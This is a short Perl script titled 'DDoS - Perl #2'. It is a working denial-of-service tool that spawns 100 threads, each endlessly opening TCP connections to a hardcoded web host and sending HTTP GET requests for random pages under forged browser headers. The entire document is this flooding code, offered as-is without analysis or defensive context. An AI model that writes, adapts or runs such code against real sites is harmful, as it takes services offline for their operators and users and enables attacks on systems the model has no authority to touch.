DDoS - Perl #2

#!/usr/bin/perl -w

use strict;

use Socket;

use threads;

my @threads;

for my $i (1..100) {

push @threads, threads->create(\&mainSub, $#threads+1);

}

foreach my $thread (@threads) {

$thread->join();

}

sub mainSub{

my $n=shift;

my $host="ololo.ru";

my $port="80";

my $headers=qq~User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: ru,en-us;q=0.7,en;q=0.3

Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive~;

my $i;

while (1){
$i++;
my $page=int(rand(7)+1);
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
send (SOCK, "GET http://ololo.ru/$page.html HTTP/1.1\nHost: ololo.ru\n$headers\n\n", 0);
close(SOCK);
print "Thread: $n. Iteration: $i. Page: $page. Time: ",time(),".\n";

}

}